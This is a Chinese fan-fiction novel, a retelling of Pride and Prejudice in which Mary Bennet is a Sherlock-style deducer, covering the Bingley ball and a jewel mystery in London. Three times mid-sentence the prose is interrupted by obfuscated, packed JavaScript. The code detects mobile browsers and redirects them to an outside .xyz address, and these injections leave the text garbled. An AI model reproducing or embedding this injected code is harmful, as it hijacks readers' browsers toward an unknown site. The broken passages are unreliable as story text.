《玛丽伦敦探险记》 1. 第 1 章 “妈妈,这是我的帽子,莉迪亚抢走了我的帽子!” 玛丽哪怕坐在书房依然可以听到外面的吵闹声,甚至用脚指头思考都猜得出这是班纳特一家每周一次的固定节目,去教堂之前莉迪亚和凯蒂又在争夺一顶帽子。 明明家里的帽子很多,俩姐妹却总是喜欢争夺同一顶。 书房另一边的班纳特先生只是叹了口气,外面妈妈的声音紧接着传来:“上帝啊!行行好吧,你们能不能体谅一下你们老母亲脆弱的神经,凯蒂把帽子给莉迪亚!” 玛丽低下头继续看着手里的书,外面阳光明媚,墙壁上挂着的钟表依然按照固定的旋律走动着,那代表一个定义。 时间,而现在时间已经快要指向一个固定的数字了。 班纳特先生率先起身:“好吧,看来我们要尽快动身,否则礼拜迟到可不是什么好事。” 玛丽微微挑眉一言不发。 班纳特先生显然已经习惯了自家三女儿的一言不发。 这女儿从小就展现出了和所有人都不一样的特质。 她总是沉默。 玛丽很难不沉默,在这个无聊的,无趣的循规蹈矩到了恨不得给所有人都画上一个模版,所有人都按照模版生活的世界。 为什么大家不干脆在出生的那一天就写下讣告算了,反正永远都是活成一个样子。 外面的混战很快结束,玛丽随手将书放在桌上跟着班纳特先生走出书房。 简和伊丽莎白已经在门口等待,班纳特夫人一边在女仆希尔的帮助下穿上外套一边用视线检查莉迪亚和凯蒂的着装,莉迪亚坐在一边的椅子上晃悠自己的两条腿,凯蒂坐在她对面的椅子上气鼓鼓的生着闷气。 班纳特先生顺手将门口挂着的外套拿下穿上,玛丽也接过简递过来的外套和帽子。 伊丽莎白眺望着门外:“真是个好天气不是吗。” 玛丽顺带看了一眼,天气确实不错,英国变化多端的天气似乎并没有影响到朗伯恩这片乡土,大多数时间这里还是风和日丽的,不像是之前去过的伦敦,总是雾气弥漫,肮脏又散发着一股臭味。 一家人顺利出发前往教堂,玛丽安静沉默的跟在家人身后,结束礼拜之后班纳特夫人和郎太太聊着什么,简和伊丽莎白小声的聊天,莉迪亚和凯蒂则在不远处打打闹闹,出门前两人才吵了一架,但是此刻已经和好又玩闹在一处。 玛丽打量了两眼郎太太微微挑眉:“看来妈妈要兴奋好一段时间了。” 班纳特先生看到玛丽这副表情知道她又提前知道了一些消息。 班纳特先生总能被玛丽那惊人的观察力震撼,不论多少次。 “怎么了,又发现了什么有趣的消息了么?” 玛丽收回视线:“哦,想必你很快也会知道了,爸爸。” 果不其然,班纳特太太抑制不住兴奋喜悦之情的小跑回了家人身边,班纳特先生带着妻女们回到家里,刚一进院子班纳特太太就迫不及待的要和大家分享这个天大的好消息。 “亲爱的班纳特先生!你听说了么,内瑟菲尔德庄园终于租出去啦!” 班纳特先生一边脱下帽子一边看了眼玛丽,转而又将视线移回自己的妻子身上:“没有” 班纳特太太兴奋不已:“郎太太刚和我说的!难道你不想知道租客是什么人么?” 玛丽顺手把帽子递给希尔:“三个成年男性,四驾马车,三个仆人,还有两个女客。” 凯蒂倒吸一口冷气:“哦,玛丽,你又看出来了!” 莉迪亚不耐烦的撇撇嘴,总是这样,玛丽每次都要显摆一番自己惊人的“观察力”,然后说出那个讨厌的词。 玛丽还是板着一张脸:“显而易见。” 莉迪亚偷偷翻了个白眼,果不其然。 显而易见~ 好像就她长着一双眼睛似的。 班纳特太太惊呼一声:“没错,没错亲爱的!郎太太就是这么说的,是一个英格兰北部的阔少爷,周一来的,说打算赶在米迦勒节前搬进来,下周末先打发几个佣人住进来。” 班纳特先生似乎提起了几分兴趣:“哦?他姓什么?” “宾利!” “成家了还是单身?” “单身,单身亲爱的!千真万确,一个有钱的单身汉,每年有四五千镑的收入!真是女儿们的好福气!” 玛丽脱掉外套转身走回书房,外面的这一番闹剧显然还要持续一段时间,回到自己的小桌子前玛丽顺手翻开了账本。 自从她表现出了惊人的数学能力,班纳特先生就让玛丽帮忙算账,虽然次数不多,但是班纳特先生偶尔也是会听从玛丽的建议投资一些产业的,目前家里的收入倒是要比之前好了很多。 班纳特先生很快也进入了书房,玛丽已经算完了这半个月的的支出和收入,合上账本递给班纳特先生之后又将上午没看完的书打开。 晚餐时间班纳特太太依然在滔滔不绝的说着,大部分时间都在抱怨班纳特先生不愿意去拜访那个有钱的宾利,伊丽莎白和简偶尔对视一眼,小声安慰她,莉迪亚和凯蒂还在讨论那个有钱的老爷会不会举办舞会,到时候她们要玩得尽兴。 玛丽不急不慢的吃着晚餐,结束后回到独属于自己的卧室。 本来凯蒂是和玛丽一起居住的,可是她实在受不了玛丽那些乱糟糟的书籍杂志报纸,还有各种稀奇古怪的小东西。 天知道小时候凯蒂碰了什么,差点引发一场火灾。 她的头发甚至都被烧掉了一小撮,如果不是家里仆人救火及时,整个房子都可能被被烧了。 等到玛丽从森林里骑马回来时自然免不了一番审问,事后凯蒂宁愿搬去和更闹腾的莉迪亚一起住也不愿意和玛丽一个屋子了。 夜幕降临,伊丽莎白先是来到妈妈的房间道晚安,之后是莉迪亚和凯蒂的屋子,最后才来到玛丽的门口。 轻轻敲了两次,伊丽莎白打开了玛丽的屋子,房间里还点着几只燃油灯,玛丽站在桌子后面似乎在摆弄什么,伊丽莎白也看不懂,但是她还是微笑着和玛丽道了晚安。 玛丽甚至没有回头,仿佛也没听见,但是伊丽莎白知道玛丽听到了,她总是这样,自顾自的做着自己的事情,当你和她说什么的时候,她似乎没有在听,可是又能在事后准确复述出来。 伊丽莎白回到了自己的屋子。 玛丽还在摆弄自己的新玩具。 前段时间她托人搞来了一柄报废的诺克七管,这玩意是如何流落到朗伯恩这个乡村小镇的当铺是不得而知了,但是玛丽偶然在梅里囤的当铺看到之后就立刻用自己几乎半年的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749120|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 零花钱买下了这个玩意。 这段时间玛丽一直在摆弄研究,想要找出让这玩意更小巧,更灵活的改装办法。 时间不急不慢,家里的日子日复一日,玛丽觉得最近似乎遇到了什么瓶颈,打算外出骑马放松一番。 简和伊丽莎白在屋子里绣花,莉迪亚和凯蒂都去梅里囤找姨妈,班纳特太太去郎太太家拜访享受下午茶,班纳特先生也不在家,不知道去了哪里。 玛丽和希尔交代一声,说自己晚餐前回来,之后就去马厩将黑莓牵了出来。 先是在仆人的帮助下侧坐在马上,装模作样的骑出去一段距离,玛丽直接抬腿跨坐过去。 这对于小姐们来说是极度不体面的,但是玛丽根本不在乎,她压低身子,目光炯炯的望着远方,手里的马鞭轻轻扬起,黑莓本来还在慢悠悠的走着,这一鞭子下去直接四蹄扬起。 作为租给佃户劳作用的马匹,黑莓很少有机会用如此的速度奔跑,或许和那些血统优良的跑马相比不够快,但是对玛丽来说也足够了,风吹过脸颊,轻薄的裙子被风吹起,露出穿在裙子之下的马靴和裤子。 宾利和达西怎么都没想到,能在出来散心的时候能看到这一幕。 一位淑女,竟然跨坐在马上策马奔腾!天哪!上帝!这不会是真的吧! 那位女孩很快就跑出他们的视线,隔着那一片树林他们看着女孩的背影消失。 宾利目瞪口呆:“你看到了么达西?我的上帝,是我出现了幻觉么!?” 达西板着一张脸,微微皱起的眉头仿佛在生什么气:“是的,宾利,令人不敢置信的一幕,这地方简直疯了。” 玛丽跑了一圈觉得心中淤积的闷气都散了出去,这才慢悠悠的回到家里。 时间刚好赶上晚餐,晚餐结束后一家人坐在客厅里,简弹奏着钢琴,莉迪亚和凯蒂两个人你来我往的玩着双陆棋,伊丽莎白正在装饰自己的帽子。 班纳特先生忽然开口:“我希望宾利先生会喜欢这顶帽子,莉齐。” 听到这个名字的班纳特太太还是有些愤愤然:“既然我们不打算去拜访宾利先生,我们怎么会知道人家喜欢什么!” 莉齐连忙安慰妈妈:“你忘啦妈妈,我们会在舞会上遇见他的,郎太太下午不是答应你会把他介绍给我们嘛。”最近这段日子提到宾利先生妈妈总是要发泄一番的,她可不想继续听妈妈那无休无止的抱怨了 班纳特太太嘟嘟囔囔:“我才不相信她呢,她自己还有两个侄女,她就是个自私自利假仁假义的女人,我一点都瞧不上他。” 玛丽坐在一边看着手里的书:“今天的拜访顺利么爸爸。” 班纳特太太一听到拜访的字眼立刻看向了玛丽又看向了班纳特先生。 班纳特先生忍不住叹出一口气:“哦,我的小玛丽,你这样可就破坏妈妈的惊喜啦!” 几个姑娘和班纳特太太一听都大为惊讶,特别是班纳特太太,她立刻就从椅子上站了起来扑到班纳特先生的身边紧紧的拥抱住了他:“我就知道我就知道!!,亲爱的班纳特先生!我早就知道!你那么疼爱自己的女儿,啊,我太高兴了,你这个玩笑开的真有意思,明明已经去过了,直到玛丽开口前还只字不提!” 班纳特先生看了眼玛丽,她又继续低头看着自己的书了。 2. 第 2 章 宾利先生的欢迎舞会还有两周,但是对于班纳特家来说宾利先生俨然是素未谋面的老朋友了。 这个家里几乎无时无刻都能听到这位先生的名字,他长什么样,性格如何,家里有那些人。 不论班纳特太太和女儿们如何追问,如何猜想,班纳特先生都不回答、 伊丽莎白倒是比别的姐妹们聪明一些,她偷偷私底下问了玛丽。 玛丽对此只是摸了摸自己的下巴思索了一下:“金发,大约6英尺,不抽烟。” 伊丽莎白也不知道玛丽是如何“看”出来,玛丽小时候总是板着一张脸,说出的话能把人吓个半死。 最开始的时候好像才四五岁,家里有一个女仆偷了班纳特太太的首饰,玛丽就那么站在客厅里忽然说出了那个女仆一天的踪迹,去了哪里,碰了哪些人。 班纳特太太差点尖叫出来,而小玛丽只是站在那里撇撇嘴,表现出一副不耐烦的样子:“观察,只要认真观察就能看得出来,小姐们!稍微动一动眼睛和脑袋就能想得明白,显而易见的事实!” 天知道她从哪里学会的“显而易见”这种词汇。 朗伯恩的乡亲们总是说班纳特家的几个姐妹里最漂亮的是大女儿简,最聪明伶俐的是二女儿伊丽莎白。 但是伊丽莎白自己知道,论聪明,整个朗伯恩,甚至可能整个伦敦都没有比自己妹妹玛丽更聪明的女孩子了,就连班纳特先生都会在私下和伊丽莎白感叹,如果玛丽是个男孩子,能去读书,恐怕前途之光明不敢想象。 虽然班纳特家不是贵族出生,但是就凭玛丽那聪明的脑袋瓜,恐怕贵族爵位也不是不能赚来。 只可惜,玛丽是个女孩。 —————————— 几天后,宾利先生前来回访,和班纳特先生在书房坐了大约十几分钟。 整个书房的书籍多的甚至显得有几分拥挤,宾利不着痕迹的打量了几眼:“班纳特先生真是博览群书,这些书籍之多之广真是让人感叹。” 班纳特先生只是笑了笑:“这里大部分的书籍都是我的三女儿玛丽所购买阅读的,恐怕我当不得您的这份夸赞。” 宾利愈发感慨,竟然有如此多才的淑女,他在内瑟菲尔德居住的这几天也听说了朗伯恩各家的一些情况,对班纳特府邸几位小姐的美貌也有些耳闻,自然希望能够趁机见见她们。不过班纳特先生没有引荐,他也不好追问。 倒是几位小姐比较幸运,除了玛丽依然在自己的房间不知道在忙些什么之外其余几人都在楼上的窗户口围观,从窗口只能看到一件蓝色的外套,还有一匹黑色的骏马。 过了没两天班纳特先生就发出了请帖,邀请宾利先生来家吃饭,班纳特太摩拳擦掌的计划了好几道菜,指望趁此机会好好炫耀一番家里厨娘的本事,不料宾利先生回信表示第二天要进城几日,无法应邀。 班纳特太太愁眉苦脸,又和女儿们抱怨,生怕宾利先生来去匆匆东飘西泊的,不会正经住在内瑟菲尔德。 幸而她的好友卢卡斯太太多番安慰,说他可能只是去伦敦多邀请一些朋友前来参加舞会,这才让班纳特太太振作了几分。 大约是这个想法太过合乎逻辑,一时之间整个朗伯恩众说纷纭,有说他要带六位女士六位男士,一时又说会带十二位女士七位男士的。 朗伯恩的小姐夫人们都有些担忧,直到舞会前一天又听说宾利先生没有带来十二位女士,只有六位,他的五个姐妹,还有一位表姐妹,小姐们这才放了心。 因为晚上要参加舞会,一大早起来班纳特太太就像是一只进入战斗状态的母鸡,她在这个家里到处跑动,不是让简在几套衣服中换来换去的挑选最优搭配,就是让伊丽莎白好好弄弄她的头发,至于莉迪亚和凯蒂,她们早就自己打扮起来了。 唯独玛丽,班纳特太太明明是母亲,可是说起来有些尴尬,她还是有些害怕自己这个三女儿的。 她那双眼睛能把人看透到骨子里。 当玛丽穿着一件去年的裙子时班纳特太太似乎想要说什么,但是声音刚刚提起,就被玛丽一个眼神浇灭了。 视线漂移开来,班纳特太太只能装作自己看不见,母鸡赶小鸡一般将几个女儿赶上马车:“快点快点,要来不及了!” 话是这么说,实际上一家人到的时候舞会才开始没多久。 里面的音乐轻松雀跃,众人笑闹声不绝于耳,玛丽跟随家人进入屋内,班纳特太太很快就和卢卡斯太太聚在一处小声说着什么,伊丽莎白和简也找到了朋友,莉迪亚可凯蒂早就钻进人群玩闹去了。 唯独玛丽一个人找了个角落,因为穿着礼服没有口袋,随身拎着的小手包也只能装一些手帕和零碎之物,玛丽拎着手袋站到不远处的阳台上,这里稍微远离人群,但是依然在众人视线之中,一个单身未婚的小姐在舞里找不见人可不是什么好事。 等到莉迪亚都已经跳了两只曲子了宾利等人才走进舞厅,卢卡斯爵士给众人介绍了一番。 谢天谢地,班纳特夫人不用抱怨了。 宾利一行只有五个人,他本人以及他的两位姐妹,另外两位男士,其中一人微微脱发,挺着一个圆润的肚子,穿着倒像是个绅士,是宾利的姐夫,还有另一位先生。 达西先生是他的好友,身材魁梧健壮,长相倒是眉清目秀,举止也十分高雅,入场不过五分钟人们就纷纷传说他一年最少有一万英镑的收入,男士们称赞他一表人才,女士们则是隔着扇子窃窃私语。 玛丽躲在阳台都听得到那些女孩子们的说话声,她们聚在一起称赞那位达西先生的着装,相貌,行为举止,仪态,一切的一切都那么完美。 宾利很快就融入到了欢快的氛围中,他一眼就看到了简,整个舞会中最漂亮的女孩子。 在请卢卡斯爵士代为引荐的时候班纳特太太终于从人群外找到了玛丽。这时候班纳特太太可不允许她拖家里姐妹的后腿。 卢卡斯爵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749121|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士带着两位先生走到班纳特太太以及几位小姐的面前。 达西一眼就看到了站在几个女孩中间的玛丽。 很难形容的一双眼睛。 达西从未见过一位女士拥有如此双眼,冷漠,孤傲,带着一丝兵刃出鞘的锋利。 那锋利如刮骨刀的双眼将他从头到脚切割了一次。 是那天骑马的少女。 达西很快就想了起来,因为想起那天和宾利所看到的一切,达西忍不住微微皱起眉头。 玛丽却兴致缺缺的撇过头去,又一个无趣的“绅士”。 与其和这些无聊的金鱼在舞会上跳舞,她宁愿一个人在脑子里下国际象棋。 卢卡斯爵士今天春风满面,能够做主举办这个舞会代表了他的身份地位,可没有什么比这更让他高兴的了。 “班纳特太太,请让我代为引荐,宾利先生很希望能认识您和令爱们。” 宾利笑起来很是开朗,一双眼睛止不住的想要看向简,可是似乎又怕吓到她,于是只能露出更加阳光的微笑。 玛丽心里默默的翻了白眼,又一个傻子。 班纳特太太也笑的很开心:“您可真好啊先生,请让我为您介绍,这是我的大女儿简,我的二女儿伊丽莎白,三女儿玛丽。哦,还有莉迪亚和凯蒂,她们在跳舞呢。” 顿了顿班纳特太太继续说道:“您喜欢跳舞么先生?” 宾利先生连忙回答道:“当然,当然夫人,没有什么是比跳舞更让我快乐的活动了。如果班纳特小姐没有其他安排的话,不知我是否有幸,邀请您跳接下来的两支舞呢。” 简微微笑着:“我没有安排先生。” 宾利更高兴了:“好,好,太好了小姐。真是我的荣幸!” 班纳特太太也很高兴:“你让我们感到十分荣幸先生,还有您呢先生?您也喜欢跳舞吗?” 伊丽莎白扯了扯班纳特太太的衣服:“妈妈!” 宾利似乎这才反应过来:“哦,抱歉,班纳特太太,请让我为您介绍,这是我的朋友达西!” 班纳特太太又带着几个女儿行礼,达西似乎还沉浸在被刮骨刀刺痛的感觉中,看着几人的眼神都带着僵硬。 “欢迎来到赫特福德郡先生,希望您也和您的朋友一样迫不及待的想要跳舞了。” 达西终于找回了自己的声音:“谢谢夫人,我不怎么跳舞。” 班纳特太太没想到会被这么噎回去,她还是努力接上话题:“那就让这次成为您的例外吧先生,我敢打赌,如此美妙的音乐和迷人的舞伴……” 话没说完,玛丽已经转身离开了。 无聊,无聊,无聊。 为什么要把她找来,接下来的对话辞令无聊的让她都想给这地方来上几枪。 想起房间里研究到一半的诺克七管,玛丽甚至都想一个人先回家算了。 达西和宾利万万没想到竟然会看到一个淑女如此无礼,天哪天哪天哪! 3. 第 3 章 谢谢达西先生,他几乎在玛丽离开之后没几秒也转身离开了,宾利左看右看,最终只能道歉:“抱歉夫人,请恕我失陪!” 班纳特太太几乎要尖叫:“天哪!你看到了嘛,玛丽怎么可以如此无礼!!” 伊丽莎白连忙安抚妈妈,玛丽沉默无声的离开没人注意,可是要是让妈妈这么尖叫怒骂下去,整个舞会所有人都要知道了! 简也在一边小声安抚,幸而班纳特太太只敢自己说说,她刚才甚至不敢伸手拽回玛丽。 走出人群之外,玛丽把扇子当做匕首在手里把玩,灵活的手指将扇子不断的辗转腾挪。 班纳特太太终于把愤怒从玛丽身上转移,开始和伊丽莎白抱怨达西的无礼高傲,真是让人讨厌! 玛丽发誓,班纳特太太几乎是故意说给达西听的,那点距离除非是聋子,否则达西一定听到了班纳特太太的抱怨。 不知道宾利和达西是如何沟通的,但是达西也只是走远了一些。 接下来的舞会宾利两次邀请了简,其他姑娘们几乎都在讨论这事。 达西在和宾利小姐以及赫斯托太太各跳了一次之后就举着酒杯站在人群之外,有人想要向他引荐其他小姐,他都一概拒绝,整个晚上几乎就这么在舞厅里逛来逛去,偶尔和自己人说几句话。 “来吧达西,我一定要让你跳一支舞,我可不愿意看你一个人傻乎乎的在这里站着,走吧,去跳舞吧!”宾利先生和简结束一曲后才看到了自己形单影只的朋友。 达西只是浅啄一口手中的酒杯:“不,我绝不跳,你知道我多讨厌跳舞,除非有特别熟悉的舞伴,否在在这样的舞会上跳舞简直让人受不了。” “我可不像你这么挑剔”宾利说到:“说实话,我平生从没像今晚这样遇到那么多可爱的姑娘,你瞧,有几个非常的漂亮!” “当然,整个舞厅最漂亮的姑娘是你的舞伴”达西说道,一边说着,一边又不受控制的看到了人群外那个躲在角落的姑娘。 宾利笑的眉眼弯弯:“我从没见过她这般美丽的姑娘”说道一半宾利的脸色有点僵硬:“只是没想到,那天的女孩竟然是她的妹妹,我的天哪,真是让人意想不到。班纳特小姐是如此的端庄有礼,讨人喜爱。哦还有她的另一个妹妹,就在你后面。也很漂亮,也是一位讨人喜欢的姑娘,不如请我的舞伴为你们俩介绍介绍吧。” 达西微微转过头朝伊丽莎白看了一会,伊丽莎白也发现了两人看了回去,达西慢悠悠的收回目光:“还过得去,可也没漂亮到足够打动我的心,我可没兴致抬举那些受别人冷落的小姐,好了宾利,回到你的舞伴身边去欣赏他的笑容吧,别把时间浪费在我的身上。” 宾利也没有任何办法只能听他的话独自跳舞去了。 达西倒是没有离开,只是又不着痕迹的打量了伊丽莎白和玛丽几眼。 等到第三次看向阳台的时候达西撞进了那双冷漠的双眼。 整个舞厅灯火辉煌,达西清晰的看到了那双眼睛,那是一双少见的,绿色的双眼,如果非要说,达西想到了曾经在打猎途中遇到的孤狼。 那是一匹离群的狼,他孤傲,残忍,就这么躲在草丛里,等不及要给人来一口狠的。 现在这双眼睛有着一样的孤傲,但是却不残忍,只是冷漠的看着在场的所有人,所有事。 如果眼睛能说话,达西保证,那双眼只写了一个词。 蠢货。 是的,那是可以明明白白读出来的两个词,简直是摆明了的。 玛丽早就感受到了达西偷偷摸摸的注视,她浑不在意,自顾自的躲在角落里。 一直到舞会结束,她都没有跳一曲舞。 回到家班纳特太太兴奋的扑到客厅里,班纳特先生正在看报纸。 “哦!亲爱的贝内特先生” 班纳特太太兴奋的声音差点让班纳特先生吓一大跳:“我们这一晚过得太快活了,舞会棒极了。你没有去真可惜。简成了大红人,真是红得不得了。人人都说她长得漂亮,宾利先生认为她相当美,跟她跳了两次舞!你就想想这一点吧,亲爱的,他确确实实跟她跳了两次!整个舞厅里,只有她一个人受到了他第二次邀请。” 玛丽可不耐烦听这些,脚步都没有停留的上了楼,虽然晚上没有跳舞,但是玛丽还是擦洗了一番,换上轻便舒适的居家服之后又在楼上折腾自己的新玩具。 楼下的吵闹声持续了好一段时间,等到一家人都休息进入睡眠的后半夜,忽然听到一声巨响,然后是玻璃破碎的声音。 家里所有人都吓了一跳,特别是班纳特先生,第一时间披上睡袍就冲了出来,其他房间里的人也都很快冲了出来。 大家都不约而同的往玛丽的房间跑去。 这个家里唯一能搞出这种动静的只有她了! 等班纳特打开玛丽的房门之后下意识的倒抽了一口冷气。 窗户破了好大一个洞口,桌子上的东西显然是被灼烧后又扑灭的痕迹。 玛丽站在桌子另一边,桌上是一个炸膛的枪管,班纳特先生也看出来这是什么了,诺克七管,天知道玛丽从哪来搞来的这东西! 伊丽莎白差点叫出来:“玛丽的你的手!!” 班纳特先生这才将视线从桌上的诺克七管上移开,玛丽的右手上随意帮着一些破布,看上去是衣服的碎片。 整个衣服的下摆还有零散的血滴。 玛丽左手还在压着那些碎布,脸上的表情虽然镇定,但是额头的冷汗却很明显。 班纳特夫人还来不及说什么,在看到玛丽那透着血的右手时直接晕了过去。 莉迪亚和凯蒂吓了一跳,连忙扑过去想要扶起妈妈。 班纳特先生几乎燃起无边的怒火,连忙和两个女儿扶着妻子挪到一遍,还要吩咐仆人请医生。 玛丽打断了他的话:“不用,我自己能处理,等那些人的时间,我早就处理好了。你们先去看看妈妈吧” 班纳特先生气的不行,玛丽却没只是淡定的吩咐伊丽莎白:“莉齐,你左手那个柜子,抽屉的第一层有我上次配的止血药,第三层有医疗箱。” 伊丽莎白连忙进入屋内在柜子里翻找。 班纳特先生左看右看,只能先和简还有两个小女儿扶着妻子去卧室休息。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749122|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >伊丽莎白则翻出医疗箱给玛丽处理伤口。 玛丽这会倒是老老实实的坐在一边让伊丽莎白操作。 等到处理完伤口,班纳特先生气冲冲的从卧室走了过来。 仆人们也在门口探头探脑。 天哪,不敢置信,玛丽小姐不知道在做什么,差点把自己给炸死了!这还是一个女孩子嘛! 班纳特先生瞪着一双眼睛看向玛丽,玛丽却还是那副没什么大不了的表情。 看着这样的玛丽,班纳特先生无可奈何了,玛丽似乎没有任何惧怕的事务,她总是那么无所谓,不论是村子里那些闲言碎语,家人的愤怒和唠叨,似乎任何事情都不能让她在意。 在玛丽的眼里,所有人都是一样的愚蠢,无知,无聊,就像是人不会和桌子板凳生气一样,玛丽的情绪从来不会冲着他们来,因为不在意。 “玛丽班纳特小姐,你被禁足了!” 班纳特先生之丢下这样一句话,他不能这么眼睁睁的看着自己的女儿找死,他得想想办法! 伊丽莎白处理完伤口后决定和玛丽一起睡觉,她害怕玛丽半夜发热。 玛丽则是举着包扎的仿佛小猪蹄一般的手在屋子里走来走去。 伊丽莎白想要伸手拽住玛丽都不知道要从哪里下手:“你在找什么?玛丽?” 玛丽走了几步:“哦,没什么,刚才觉得似乎脚腕扭伤了,这会走了几步,应该是没问题。” 伊丽莎白都无话可说了:“好了,请快些躺下吧我的小姐,你可把爸爸妈妈吓坏了。” 玛丽躺下之后翻了个白眼:“他们也太大惊小怪了。” 伊丽莎白给玛丽盖上被子:“你是说,你差点把自己炸死这件事么?那可真抱歉,请原谅我们都是一些平凡又普通的小金鱼,我们小小的脑子没办法接受任何的波澜,所以是那么的容易大惊小怪。” 金鱼,小小的脑子这些都是小时候的玛丽在童言无忌之下对家人的评价。 有一段时间乡村里很是流行颅相学,德国人加尔认为人的心理与特质能够根据头颅形状确定,大脑是由不同 “器官” 组成,这些 “器官” 分别负责不同的心理功能,如自尊、谨慎和仁慈等。同时,大脑如同肌肉,特定 “器官” 使用越多,其体积就会越大,进而会使颅骨相应部位隆起,通过感受颅骨的形状就能探测这些 “器官” 的相对大小,从而推断一个人的性格和心理特征。 小小的玛丽在那时候就对此嗤之以鼻,因为在她看来,自己作为幼童的头颅体积显然是要比成年人要小一些的,但是自己的聪明才智远胜于那些自以为是的大人,与其说不同的器官组成大脑,不如说某些人头颅之内的大脑和金鱼差不多大小。 当然了,在玛丽发表如此高论之后,很是被莉迪亚凯蒂还有伊丽莎白打了一顿,玛丽或许有超过四人之和的聪慧,但是显然没有超过四人之和的力量,小小的玛丽被莉迪亚压在地上的时候甚至还在叫嚣莉迪亚是家里最笨的金鱼。 不论如何,吃够教训的玛丽现在至少学会了沉默,看着严肃的伊丽莎白,玛丽选择了闭上双眼。 睡觉! 4. 第 4 章 这一番风波没有传出班纳特家,第二天班纳特夫人醒来之后还以为自己是在做梦,直到早餐时看到玛丽那个被包扎好的手掌才发现这一切都是真的。 愤怒的班纳特太太发了好大的火,这比班纳特先生可怕多了,因为班纳特先生只是禁足,而班纳特夫人会持续不断的在玛丽的耳边唠叨,甚至是咒骂,她愤怒的指责上帝,为什么不点化点化这个固执又傲慢的小姐,一时之间又咒骂玛丽,从来不会为了家里其他人考虑,她那么的恣意妄为,那么不可理喻,她的一切行为都让家里人感到害怕! 对此玛丽的态度是耸了耸肩膀当做没有听到。 这样的唠叨持续了整整两周,直到手上的纱布扯下来之后班纳特夫人才终于停止自己无休无止的唠叨和咒骂。 当然,这只是很少一部分的原因,更大的原因是她亲爱的弟弟来了一封信件。 加德纳先生和班纳特先生这对姻亲兄弟关系不错,平日里多有往来,家里的孩子们也是时常会去伦敦小住探望自己的舅舅与舅妈的。 这封信来的关键,加德纳先生在格雷斯丘奇街做珠宝生意,虽然不是什么很大的店铺,但是也算略有薄产,而这次来信正是为了寻求家里人的帮助。 说明白一些,是为了寻求玛丽的帮助。 这在班纳特家倒是不奇怪曾经玛丽去伦敦舅舅家小住的时候就帮助过加德纳先生破获了一起员工掉包珠宝的案件。 而这次来信也正是因为加德纳先生又碰巧遇到了一件奇怪的事。 说起来实在是让人难以理解,虽然家里是做珠宝生意,但是加德纳一家也并非大富大贵之人,所以加德纳太太的首饰也多以蕾丝,羽毛为主,贵一些的也就是银器,金器珠宝虽然不多,但是也是有的。 而那件奇怪的事情就是加德纳太太的某个蓝宝石戒指被掉包了。 那是加德纳前些日子收到的被典当来的货物。 如果说被掉包成了便宜货色加德纳先生肯定第一时间报警,可现在奇怪的是那个蓝宝石戒指却被掉包成了质地更好的一块蓝钻石! 一块蓝钻!! 说出去谁敢相信!一个格雷斯丘奇街的小商人家里,忽然莫名出现了一块蓝钻,而且看上去质地非常不错,恐怕献给国王都足够了! 可是加德纳先生不敢声张,这样的东西莫名其妙出现在他的家里这件事让他惊恐极了。 思前想后,加德纳先生只能求助自己最信任的亲戚 拜托了,还请班纳特先生携玛丽一同前来帮忙探查一些眉目。 这让玛丽差点蹦起来,在家里的两周快要憋死她了!天哪,终于来了一件好事! 班纳特太太倒是对弟弟的惊恐十分不解,天哪!一块蓝钻,如果上帝让她拥有一块蓝钻戒指,她会立刻带上这个戒指展示给朗伯恩的所有夫人! 玛丽在客厅来回踱步:“我必须去,我必须马上前往伦敦爸爸,这件事可太有意思了!” 班纳特先生也皱着眉头,这件事听上去可不像是什么有意思的事情。 玛丽似乎看出了班纳特先生的不情愿,几乎是扑到他的身上:“求你了,求求你了爸爸,让我去吧,在家里我快憋得喘不过气了,我可以搞明白这件事,拜托你拜托你!” 班纳特先生被玛丽抱着胳膊晃来晃去的,不知想到些什么最终还是点了点头。 可是最近佃户们的事情也多,班纳特先生没办法全程陪同玛丽待在伦敦,基于对内弟的信任,班纳特先生写了封信请加德纳先代为照顾玛丽。 玛丽看到班纳特先生点头的瞬间就一蹦三尺高:“我马上收拾行李!!” 莉迪亚和凯蒂左看右看,凯蒂还没来得及说话,莉迪亚就蹦了起来:“我也要去!我也必须!马上!去伦敦,凭什么玛丽就可以去!” 玛丽已经跑到了楼梯口还回过头来:“好了愚蠢的小金鱼!就凭你的大脑,别说伦敦,你能全须全尾的从朗伯恩走到梅里囤都算是一个天大的惊喜了!” 从玛丽难得说出的长句看得出来,她实在是太兴奋了,而莉迪亚很快追了上去:“我要给你点教训玛丽!我发誓!” 